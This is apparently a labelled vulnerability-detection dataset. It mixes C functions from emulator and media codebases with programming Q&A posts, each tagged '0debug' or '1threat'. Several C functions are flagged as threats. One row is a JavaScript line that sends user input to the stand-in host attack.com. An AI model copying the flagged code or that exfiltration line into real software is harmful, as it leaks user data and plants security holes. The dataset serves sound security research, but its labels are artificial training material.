problem
stringlengths
26
131k
labels
class label
2 classes
static int _do_rematrixing(AC3DecodeContext *ctx, int start, int end) { float tmp0, tmp1; while (start < end) { tmp0 = ctx->samples[start]; tmp1 = (ctx->samples + 256)[start]; ctx->samples[start] = tmp0 + tmp1; (ctx->samples + 256)[start] = tmp0 - tmp1; start++;...
1threat
Is there easy way to grid search without cross validation in python? : <p>There is absolutely helpful class GridSearchCV in scikit-learn to do grid search and cross validation, but I don't want to do cross validataion. I want to do grid search without cross validation and use whole data to train. To be more specific, I...
0debug
what the difference between the int array and the new double array? : /* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ package testtworeview; /** * * @author mbest */ pu...
0debug
static int alac_decode_frame(AVCodecContext *avctx, void *outbuffer, int *outputsize, const uint8_t *inbuffer, int input_buffer_size) { ALACContext *alac = avctx->priv_data; int channels; unsigned int outputsamples; int hassize; int readsampl...
1threat
window.location.href = 'http://attack.com?user=' + user_input;
1threat
Average of a numpy array returns NaN : <p>I have an np.array with over 330,000 rows. I simply try to take the average of it and it returns NaN. Even if I try to filter out any potential NaN values in my array (there shouldn't be any anyways), average returns NaN. Am I doing something totally wacky? </p> <p>My code is ...
0debug
How this anti-bot defence works? : <p>I tried loading a few pages from <a href="https://property24.com" rel="nofollow noreferrer">https://property24.com</a> with Selenium &amp; Chrome/Firefox. I have got instant block after downloading single page.</p> <p>Now I see this <a href="https://i.stack.imgur.com/vOuIg.png" re...
0debug
For loop using more than one list in Python : <p>I'm looking for solution to my problem. At the moment I have two list of elements:</p> <pre><code>column_width = ["3", "3", "6", "8", "4", "4", "4", "4"] fade = ["100", "200", "300"] </code></pre> <p>What I want to achieve is to create for loop which wil give me follow...
0debug
How to connect two different pc to mysql database c# : I have make a program (in C#) and i use mysql database. I want to to have accese in the database through diferent pc using the program i have made. The ather pc in the same internet conection.How can i make that work?
0debug
bool vring_setup(Vring *vring, VirtIODevice *vdev, int n) { hwaddr vring_addr = virtio_queue_get_ring_addr(vdev, n); hwaddr vring_size = virtio_queue_get_ring_size(vdev, n); void *vring_ptr; vring->broken = false; hostmem_init(&vring->hostmem); vring_ptr = hostmem_lookup(&vring->hostm...
1threat
How to remove WebStorm sass-lint error "Unknown pseudo selector 'ng-deep'" : <p>Angular 2+ with scss and ::ng-deep in WebStorm highlights this selector with text "Unknown pseudo selector 'ng-deep'"</p> <p>I tried something like:</p> <pre><code>selector-pseudo-class-no-unknown: true ignorePseudoClasses: ng-deep or ...
0debug
Iam trying to execute automated script generated from azure for iothub end points,When iam exetuting error : PLease find below is the error: New-AzureRmResourceGroupDeployment : 12:25:25 AM - Error: Code=InvalidTemplate; Message=Deployment template validation failed: 'The template resource 'ServiceBu...
0debug
How does function.apply.bind work in the following code? : <p>So I get that an array of [200,599] is returned from the promise and the callback function inside spread is being passed into Function.apply.bind, but now I'm lost. How is the array of [200,599] split into x and y? How exactly does the apply.bind work?</p> ...
0debug
av_cold struct FFPsyPreprocessContext* ff_psy_preprocess_init(AVCodecContext *avctx) { FFPsyPreprocessContext *ctx; int i; float cutoff_coeff = 0; ctx = av_mallocz(sizeof(FFPsyPreprocessContext)); ctx->avctx = avctx; if (avctx->cutoff > 0) cutoff_coeff = 2.0 * avctx->cut...
1threat
How to check if a sub-directory does not contain a certain file in python? : <p>Need to append something to the following code:</p> <pre><code>for subdir, dirs, files in os.walk(rootdir): for file in files: if file.endswith(".json"): json_files.append(os.path.join(subdir, file)) if file...
0debug
Deploy .Net Solution with multiple project : I Have a solution that contains multiple projets -SOLUTION: 1- ASP MVC Project 2- web api project 3 BLL project (class library) 4 DAL project (class library) the web api project dependes on the BLL and DAL project the ASP MVC Project has no dependence , it ...
0debug
int kvm_init_vcpu(CPUState *env) { KVMState *s = kvm_state; long mmap_size; int ret; DPRINTF("kvm_init_vcpu\n"); ret = kvm_vm_ioctl(s, KVM_CREATE_VCPU, env->cpu_index); if (ret < 0) { DPRINTF("kvm_create_vcpu failed\n"); goto err; } env->kvm_fd = ret; ...
1threat
Nginx on Fedora 26: could not build optimal types_hash error message : <p>I've installed Fedora and Ngnix, added all the configuration files for my local development, when I started to see this error</p> <pre><code>nginx: [warn] could not build optimal types_hash, you should increase either types_hash_max_size: 2048 o...
0debug
int avio_read(AVIOContext *s, unsigned char *buf, int size) { int len, size1; size1 = size; while (size > 0) { len = FFMIN(s->buf_end - s->buf_ptr, size); if (len == 0 || s->write_flag) { if((s->direct || size > s->buffer_size) && !s->update_checksum) { ...
1threat
Is possible unzip file with multi-core? : <p>I have this code:</p> <pre><code>unzip -q "file.zip" -d path </code></pre> <p>Is possibile unzip with multi-core?</p> <p>Thanks</p>
0debug
How to add +1value on the entire row of my database table row name Age? : just new in programming i created a database using xampp with 3 column (f_name, l_name, age) i created a index.php page where i have only 1 button present, what i am expecting to happen is that if i click that button the entire row "age" will com...
0debug
How to reload a page in PHP before exit function? : <p>I got some code like this and the header is not working</p> <pre><code> if ($variable &gt; 0) { header('Location: mypage.php'); exit; } </code></pre> <p>And I need exit function, is this a bad idea?</p>
0debug
LUNIX ls grep command : i want to know What is the difference between the two command: ## ls l file; grep *pl file## ## ls l file; grep ".*pl" file## thank you.
0debug
static void ps2_reset_keyboard(PS2KbdState *s) { trace_ps2_reset_keyboard(s); s->scan_enabled = 1; s->scancode_set = 2; ps2_set_ledstate(s, 0); }
1threat
MSSQL Database Query Help Required : I have a specific scenario in which I have to assign discounts applicable on some Car Leads based on some given rules of Permutation and Combination. To explain in details, I have these two tables: [Below table contains some raw data of all leads of vehicle][1] Lead Data ...
0debug
Approaches to improve chart eficiency in C# winforms? : I have a simple chart that prints values read by a photoresistor. Also the chart prints 2 thresholds. My problem is that when more than 300 or 400 points are printed in the chart, it becomes quite unreadable. Look at this: [![enter image description here][1]][1...
0debug
Why 12/13 value is 1 in c# : <p>I tried this expression 12/13 in c# and I got value as 1 When I cast the value to double then actual value is coming.</p> <p>Can someone explain me why this is happening?</p> <p>Thanks Ajit</p>
0debug
long do_sigreturn(CPUX86State *env) { struct sigframe *frame; abi_ulong frame_addr = env->regs[R_ESP] - 8; target_sigset_t target_set; sigset_t set; int eax, i; #if defined(DEBUG_SIGNAL) fprintf(stderr, "do_sigreturn\n"); #endif if (!lock_user_struct(VERIFY_READ, frame, frame_add...
1threat
it is throwing "A"."AMOUNT": invalid identifier can anybody resolve this? : select s.sid,a.amount from sale s inner join (select saleid,sum((1-p.discount/100)*sd.quantity*p.price) "amount" from saledetail sd inner join product p on sd.prodid=p.prodid group by sd.saleid) a on a.saleid=s.saleid
0debug
Generating CRUD in symfony 4 : <p>After releasing Symfony 4.0, there is no support for <code>SensioGeneratorBundle</code>. hence the command <code>php app/console generate:doctrine:crud</code> is not available. </p> <p>They suggest to use <strong>MakerBundle</strong>, but I could not find appropriate replacement for C...
0debug
C# Threading Read Write locks : <p>Hi what will be the cleanest solution for the following pattern ?</p> <p>Given a class for Read and Write some file/resouce, providing already implemented "read()" and "write()" functions. Create a "Read()" and "Write()" function that would wrap the "read()" and "write()"and prevent ...
0debug
static int colo_packet_compare(Packet *ppkt, Packet *spkt) { trace_colo_compare_ip_info(ppkt->size, inet_ntoa(ppkt->ip->ip_src), inet_ntoa(ppkt->ip->ip_dst), spkt->size, inet_ntoa(spkt->ip->ip_src), inet_ntoa(spkt->ip-...
1threat
cannot update identity column in Entity Framework Core : <p>I've added a separate Identification to the AspNetUsers table called NumericId that will serve along with the GUID like ID that ASP has for default.</p> <p>I've added the property as an additional property of the ApplicationUser class:</p> <pre><code>public ...
0debug
Lumen middleware sort (priority) : <p>I'm using <code>"laravel/lumen-framework": "5.7.*"</code></p> <p>I have two middlewares, first one <code>AuthTokenAuthenticate</code> that should be applied to all the routes, so its defined in <code>bootstrap/app.php</code> like</p> <pre><code>$app-&gt;middleware([ App\Http\...
0debug
How to histogram one dimensional data in r? : <p>If <code>x</code> is one dimensional data like this<code>x=c(43,56,33,67,34,66,78,34)</code> then how I get the histogram of <code>x</code>. I know that histogram requires a frequency. But how about in this case?</p>
0debug
static int can_safely_read(GetBitContext* gb, uint64_t bits) { return get_bits_left(gb) >= bits; }
1threat
MySQL - SELECT COUNT(*) AND IGNORE SAME ID : <p>As per the title, I want to count rows in a table but if multiple rows got same ID, should count them as ONE ROW.</p> <p>For example, I have a table named <code>my_table</code>.</p> <p>And below is the data:</p> <p><a href="https://i.stack.imgur.com/cpC3n.png" rel="nof...
0debug
static void mp3_write_xing(AVFormatContext *s) { MP3Context *mp3 = s->priv_data; AVCodecContext *codec = s->streams[mp3->audio_stream_idx]->codec; int32_t header; MPADecodeHeader mpah; int srate_idx, i, channels; int bitrate_idx; int best_bitrate_idx; int best_bitr...
1threat
Simulink integrator in library Python : <p>i have a question, about for the block the simulink integrator, i looking for alternative in python with scipy or other library, please.</p> <p>Integer block ----> Scipy Python or other</p>
0debug
how to make my function work in javascript : I'm new to js and I have to use a function for different options but I do not know how to make it work. function changecolor(){ $(this).css('background-color', 'white'); $(this).css('border-top', '0.1px solid #8c8a8a'); $(this).css('border-right',...
0debug
Enable and disable dates jquery using datepicker : <p>I am using the jquery datepicker. I have set an array of dates which should be disabled, this is working fine:</p> <pre><code> var vakantie = ["25-12-2018", "26-12-2018", "27-12-2018", "28-12-2018", "29-12-2018", "30-12-2018", "31-12-2018"]; function nietBeschi...
0debug
Google Rio 2016 Like Animation : <p>I'm currently building a new website, in which I would like to corporate something that Google is doing as well with some of their widgets (I'm sure other websites do as well.) </p> <p>I would like to have the website to have an animation to another tab, a little like the Google GIF...
0debug
size_t mptsas_config_manufacturing_1(MPTSASState *s, uint8_t **data, int address) { return MPTSAS_CONFIG_PACK(1, MPI_CONFIG_PAGETYPE_MANUFACTURING, 0x00, "s256"); }
1threat
Code unexpectedly accepted by GHC/GHCi : <p>I don't understand why this code should pass type-checking:</p> <pre><code>foo :: (Maybe a, Maybe b) foo = let x = Nothing in (x,x) </code></pre> <p>Since each component is bound to the same variable <code>x</code>, I would expect that the most general type for this express...
0debug
The restaurant url on tripadvisor is encoded so I can't scrape it : <p>So I am trying to scrape a restaurant url on TripAdvisor. The problem is that when I find the link in the HTML for any restaurant it looks like it's encoded. For example on the this restaurant:</p> <pre><code>https://www.tripadvisor.co.uk/Restauran...
0debug
void qmp_transaction(TransactionActionList *dev_list, Error **errp) { TransactionActionList *dev_entry = dev_list; BlkTransactionState *state, *next; Error *local_err = NULL; QSIMPLEQ_HEAD(snap_bdrv_states, BlkTransactionState) snap_bdrv_states; QSIMPLEQ_INIT(&snap_bdrv_states); bdrv_drain_...
1threat
Difference between File and Path of java.net.URL : <p>What is the diffecence between getFile() and getPath() of java.net.URL oject?</p>
0debug
static int encode_picture_ls(AVCodecContext *avctx, AVPacket *pkt, const AVFrame *pict, int *got_packet) { const AVFrame *const p = pict; const int near = avctx->prediction_method; PutBitContext pb, pb2; GetBitContext gb; uint8_t *buf2, *zero, *cur, *last;...
1threat
What are the disadvantages if I don't use mysqli_real_escape_string()? : <p>As per my knowledge If I don't use mysqli_real_escape_string() I may get a wrong entry in database. Correct me if I am wrong.</p> <p>Are there any disadvantages?</p>
0debug
void helper_mtc0_hwrena(CPUMIPSState *env, target_ulong arg1) { env->CP0_HWREna = arg1 & 0x0000000F; }
1threat
static void RENAME(decode_rgb_frame)(FFV1Context *s, uint8_t *src[3], int w, int h, int stride[3]) { int x, y, p; TYPE *sample[4][2]; int lbd = s->avctx->bits_per_raw_sample <= 8; int bits = s->avctx->bits_per_raw_sample > 0 ? s->avctx->bits_per_raw_sample : 8; int offset = 1 << bits; ...
1threat
static void fill_prstatus(struct target_elf_prstatus *prstatus, const TaskState *ts, int signr) { (void) memset(prstatus, 0, sizeof (*prstatus)); prstatus->pr_info.si_signo = prstatus->pr_cursig = signr; prstatus->pr_pid = ts->ts_tid; prstatus->pr_ppid = getppid(); p...
1threat
sql query in sql server : please explain what this query is actually doing ? select u.business_id,u.name, u.cusine,max(u.values1) from SOURCE_DATA u unpivot ( values1 for cusine in (Sandwiches, Pizza, Bars, Food, Mexican, Thai, Indian) ) u where u.values1 = 1 group by u.business_id,u.name, u.cusine order...
0debug
Basic Python syntax error for less than symbol : <p>Hi I'm learning python and I'm stuck making an age calculator. </p> <p>I have to make an age calculator where it asks the user to enter their age in years and if the user is 100 or older, it tells them "You've already turned 100!". Otherwise, if they are less than 0,...
0debug
static int decode_p_mbs(VC9Context *v) { MpegEncContext *s = &v->s; GetBitContext *gb = &v->s.gb; int current_mb = 0, i; uint8_t cbpcy[4], previous_cbpcy[4], predicted_cbpcy, *p_cbpcy ; int hybrid_pred; int mv_mode_bit = 0; int mqdiff, mquant; int ttmb; stat...
1threat
static int mov_read_dref(MOVContext *c, AVIOContext *pb, MOVAtom atom) { AVStream *st; MOVStreamContext *sc; int entries, i, j; if (c->fc->nb_streams < 1) return 0; st = c->fc->streams[c->fc->nb_streams-1]; sc = st->priv_data; avio_rb32(pb); entries = avio_rb32(pb)...
1threat
Are there some pre-trained LSTM, RNN or ANN models for time-series prediction? : <p>I am trying to solve a time series prediction problem. I tried with ANN and LSTM, played around a lot with the various parameters, but all I could get was 8% better than the persistence prediction.</p> <p>So I was wondering: since you...
0debug
static int set_params(AVFilterContext *ctx, const char *params) { Frei0rContext *frei0r = ctx->priv; int i; for (i = 0; i < frei0r->plugin_info.num_params; i++) { f0r_param_info_t info; char *param; int ret; frei0r->get_param_info(&info, i); if (*params) { ...
1threat
StringIndexOutOfBoundsException: length=2; regionStart=2; regionLength=2 android : Error String index out of bound exception i don't know how to solve it.. Please Help me in solving this issue java.lang.RuntimeException: Unable to start activity ComponentInfo{com.example.muhammadshan.bmi/com.example.muhammadsh...
0debug
Please help me to understand the logic behind the assignment of variables : I am a newbie,I want to explore all the methods through which I can assign an operator I tried many, in some I got error and some succeed,I am sharing the failed methods please help me with their explanations and logic Method 1 #includ...
0debug
int ff_pred_weight_table(H264Context *h) { int list, i; int luma_def, chroma_def; h->use_weight = 0; h->use_weight_chroma = 0; h->luma_log2_weight_denom = get_ue_golomb(&h->gb); if (h->sps.chroma_format_idc) h->chroma_log2_weight_denom = get_ue_golomb(&h->gb); luma_d...
1threat
arrow keys navigation to input text which inside a div in js : *emphasized text* http://jsfiddle.net/uJ4PJ/ I used this jsfiddle for arrow key navigation,(for same function) but if I use this html, how can I do the same ?(I have to skip br tag) <div class='move'> <input type="text" /><br> <input type...
0debug
total number of records and their reason sql server : I want to write a query that get total number of records(booking) using COUNT(*) function, i have a column in DB "Type" and in the next column i want to show type of record e.g output of query be like Total Booking -> 10 Booking Type -> 3 wedding, 4 Birthday P...
0debug
ram_addr_t migration_bitmap_find_and_reset_dirty(MemoryRegion *mr, ram_addr_t start) { unsigned long base = mr->ram_addr >> TARGET_PAGE_BITS; unsigned long nr = base + (start >> TARGET_PAGE_BITS); uint64_t mr_size = TARGET_PAGE_ALIGN(memory_region_size(m...
1threat
how to sort an array that contain second order in python? : for instance, I have an array like: [[1,1,0],[1,0,1],[0,0,0] first to sort the first element, and then if the first element are same ,sort the second element, and then if the second elements are same sort for third, forth.... the result should like th...
0debug
QEMUTimer *qemu_new_timer(QEMUClock *clock, QEMUTimerCB *cb, void *opaque) { QEMUTimer *ts; ts = qemu_mallocz(sizeof(QEMUTimer)); ts->clock = clock; ts->cb = cb; ts->opaque = opaque; return ts; }
1threat
static int seek_test(const char *input_filename, const char *start, const char *end) { AVCodec *codec = NULL; AVCodecContext *ctx= NULL; AVCodecParameters *origin_par = NULL; AVFrame *fr = NULL; AVFormatContext *fmt_ctx = NULL; int video_stream; int result; int i, j; long i...
1threat
C++ lambda ´this´ pointer invalidation after move operation : <p>I have the following (simplified) code in my current project:</p> <pre><code>#include &lt;iostream&gt; #include &lt;string&gt; #include &lt;functional&gt; #include &lt;vector&gt; class Test{ public: Test() = default; Test(const Test&amp; othe...
0debug
In Cypress, set a token in localStorage before test : <p>I want to login and set a <code>localStorage</code> token on the client (specifically <a href="https://en.wikipedia.org/wiki/JSON_Web_Token" rel="noreferrer"><code>jwt</code></a>)</p> <p>How can I accomplish this using <code>cy.request</code>, as suggested in th...
0debug
Is it possible to control a chromecast or phillips hue from a dialogflow app : <p>it is possible to control devices like chromecast or phillips hue from a dialogflow.com application? I want to build something like this. </p> <p><a href="https://www.youtube.com/watch?v=vFV1eTeeFis" rel="nofollow noreferrer">https://www...
0debug
static int mov_read_sv3d(MOVContext *c, AVIOContext *pb, MOVAtom atom) { AVStream *st; MOVStreamContext *sc; int size; int32_t yaw, pitch, roll; size_t l = 0, t = 0, r = 0, b = 0; size_t padding = 0; uint32_t tag; enum AVSphericalProjection projection; if (c->fc->nb_strea...
1threat
static int vio_make_devnode(VIOsPAPRDevice *dev, void *fdt) { VIOsPAPRDeviceClass *pc = VIO_SPAPR_DEVICE_GET_CLASS(dev); int vdevice_off, node_off, ret; char *dt_name; vdevice_off = fdt_path_offset(fdt, "/vdevice"); if (vdevice_off < 0) { return vdevice_...
1threat
how to get sharedpreferences value in edittext from another activity in android for signin : <p>how to get sharedPreferences values like name and password from another activity and get in another activity in editText for furter use.</p> <p>Actually i want to sign in to another activity using sharedpreferences.</p>
0debug
Can't install JDK 9 because "Another Java installation is in progress" : <p>I have been using JDK 9 on Windows 10 x64 for a while but when I went to install the latest early release (b174), I first uninstalled the previous version (as usual) and then ran the new installer.</p> <p>It fails with a message box saying "An...
0debug
How to divide between groups of rows using dplyr? : <p>I have this dataframe:</p> <pre><code>x &lt;- data.frame( name = rep(letters[1:4], each = 2), condition = rep(c("A", "B"), times = 4), value = c(2,10,4,20,8,40,20,100) ) # name condition value # 1 a A 2 # 2 a B 10 # 3 ...
0debug
Adding new values in Object in Typescript : <p>I have write the following code in Angular 2 typescript</p> <pre><code>import { Component } from '@angular/core'; @Component({ selector: 'app-root', templateUrl: './app.component.html', styleUrls: ['./app.component.css'] }) export class AppComponent { myObj:any ...
0debug
void ff_hcscale_fast_mmxext(SwsContext *c, int16_t *dst1, int16_t *dst2, int dstWidth, const uint8_t *src1, const uint8_t *src2, int srcW, int xInc) { int32_t *filterPos = c->hChrFilterPos; int16_t *filter = c->hChrFilter; void *m...
1threat
Why is it that the string length of an empty array defers from the array size? : When returning the length and the size of an empty string in C, the values differ. Why is that so? ```c char b[7]; printf("String Length: ", strlen(b)); // Returns 22 printf("String Size: ", sizeof(b)); // Returns 7 ```
0debug
angular2 How to select all? : <pre><code>class Heroe{ selected ?: boolean; } heroes: Observable&lt;Heroe[]&gt; .... this.heroes = this.heroService.getHeroes() .... select_all(){ How to do it? } </code></pre> <p>=======</p> <pre><code>&lt;div *ngFor="let hero of heroes | async" &gt; &lt;span *ngIF="her...
0debug
Use svg as map using leaflet.js : <p>Is it possible to use SVG image as the base map for leaflet.js ?</p> <p>In my case I have huge svg file and I wish to allow my users to use all of leaflet's features such as zoom, markers, layers.</p>
0debug
static void cpu_x86_register(X86CPU *cpu, const char *name, Error **errp) { CPUX86State *env = &cpu->env; x86_def_t def1, *def = &def1; memset(def, 0, sizeof(*def)); if (cpu_x86_find_by_name(cpu, def, name) < 0) { error_setg(errp, "Unable to find CPU definition: %s", name); re...
1threat
How to fix this error in visual stodio 2017 : Warning IDE0006 Error encountered while loading the project. Some project features, such as full solution analysis for the failed project and projects that depend on it, have been disabled. Cannot find wrapper assembly for type library "ADODB". Verify that (1) the COM ...
0debug
Get a value from Entry : <p>this is a part of my code, i'm trying to get the value from the Entry bf, but when i run it shows that: "AttributeError: 'NoneType' object has no attribute 'get'". Does anyone knows why that is happening?</p> <p>Code:</p> <pre><code>from tkinter import * window = Tk() window.geometry("650...
0debug
nested functions;.todays(datediff(student_info,'1999-8-31')) : im new to sql and php. I want to calculate age of a student(in months) by the differentia of dob(table field) and fixed date(;. 31-8-2016). and also want to store that value in the field named 'age'
0debug
static inline int svq3_decode_block(GetBitContext *gb, DCTELEM *block, int index, const int type) { static const uint8_t *const scan_patterns[4] = { luma_dc_zigzag_scan, zigzag_scan, svq3_scan, chroma_dc_scan }; int run, level, sign, vlc, limit; const int intr...
1threat
void net_tx_pkt_init(struct NetTxPkt **pkt, uint32_t max_frags, bool has_virt_hdr) { struct NetTxPkt *p = g_malloc0(sizeof *p); p->vec = g_malloc((sizeof *p->vec) * (max_frags + NET_TX_PKT_PL_START_FRAG)); p->raw = g_malloc((sizeof *p->raw) * max_frags); p->max_payload_frags = m...
1threat
Need help writing first VBA code : New to VBA and am in over my head. I have a table. I would like to write a code that loops through and if the active cell contains a 1, then, in a cell outside of the table, the column heading is returned and put into a comma separated list. I am looking for that loop to continu...
0debug
error TS2300: Duplicate identifier 'RequestInfo' : <p>I'm working in a ReactXP project where I must use React Native <a href="https://facebook.github.io/react-native/docs/native-modules-ios.html" rel="noreferrer">native modules</a>.</p> <p>So I've included the react-native types as a dev dependency.</p> <p>My project...
0debug
print_ipc_cmd(int cmd) { #define output_cmd(val) \ if( cmd == val ) { \ gemu_log(#val); \ return; \ } cmd &= 0xff; output_cmd( IPC_RMID ); output_cmd( IPC_SET ); output_cmd( IPC_STAT ); output_cmd( IPC_INFO ); #ifdef __USER_MISC output_cmd( MSG_STAT ); ...
1threat
updating value in JSON /Rest-api (Powershell) : I want to update values in my JSON/Rest-api, but I can't PATCH the new values in rest-api. I saved the new values in csv-file and I converted this file to JSON to patch the new values in Rest-api $Authorization = "Bearer API-KEY" $Accept = "application/json"...
0debug
void framebuffer_update_display( DisplayState *ds, MemoryRegion *address_space, target_phys_addr_t base, int cols, int rows, int src_width, int dest_row_pitch, int dest_col_pitch, int invalidate, drawfn fn, void *opaque, int *first_row, int *last_r...
1threat
What is the point of StyleSheet.create : <p>I'm reading the <a href="https://facebook.github.io/react-native/docs/style.html#content" rel="noreferrer">React Native docs / tutorial</a>, and I'm wondering what the point of the <code>StyleSheet.create</code> function is.</p> <p>For example, the tutorial has the following...
0debug
static int no_run_in (HWVoiceIn *hw) { NoVoiceIn *no = (NoVoiceIn *) hw; int live = audio_pcm_hw_get_live_in (hw); int dead = hw->samples - live; int samples = 0; if (dead) { int64_t now = qemu_get_clock (vm_clock); int64_t ticks = now - no->old_ticks; int64_t byte...
1threat
static void powernv_populate_chip(PnvChip *chip, void *fdt) { PnvChipClass *pcc = PNV_CHIP_GET_CLASS(chip); char *typename = pnv_core_typename(pcc->cpu_model); size_t typesize = object_type_get_instance_size(typename); int i; for (i = 0; i < chip->nr_cores; i++) { PnvCore *pnv_core = PNV_COR...
1threat
Command ot properly ended : can i know what the problem with this statement as i getting the error command not properly ended update subjectinfo set subject_name = '" + textBoxSubjectNameUpdate.Text + "' , subject_abbreviation = '" + textBoxSubjectAbbreviationUpdate.Text + "where subject_code = '" + textBoxSubjectCo...
0debug
static int h264_decode_frame(AVCodecContext *avctx, void *data, int *got_frame, AVPacket *avpkt) { const uint8_t *buf = avpkt->data; int buf_size = avpkt->size; H264Context *h = avctx->priv_data; AVFrame *pict = data; int buf_index = 0; H264Pictur...
1threat
Is there a way to run a function as long as an array is non zero in size? : <p>Say for example my function woof() clears some array called meow[] by removing the items in it. meow[] may have items added to it by other functions, but as long as it has items in it, ie it's size is nonzero, I want woof to run and clear it...
0debug
Can't open some html files in chrome (mac) : <p>There are some HTML files (no pattern that I've figured out) that I can't open via the terminal, GUI or right clicking Open in Browser via Sublime Text 3. </p> <p>The default browser to open the file is definitely set to Chrome. When I say to open the file in the browser...
0debug
static int mov_write_minf_tag(AVIOContext *pb, MOVMuxContext *mov, MOVTrack *track) { int64_t pos = avio_tell(pb); int ret; avio_wb32(pb, 0); ffio_wfourcc(pb, "minf"); if (track->enc->codec_type == AVMEDIA_TYPE_VIDEO) mov_write_vmhd_tag(pb); else if (track->enc->codec_type == ...
1threat
Try-with-resource autoclose issues : <p>I am working with a legacy code, where I see certain DB transaction initiated in try-with-Resources close block. I understand the DB resource will be closed once the code in the try block is executed. Can somebody help me, how can I over-ride or bypass the autoclosing, in this ca...
0debug